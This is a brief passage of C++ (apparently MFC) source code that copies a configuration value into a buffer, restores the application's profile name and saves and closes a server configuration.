memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));
}
}
AfxGetApp()->m_pszProfileName=szOldProfName;
SaveServer();
CloseServer();
}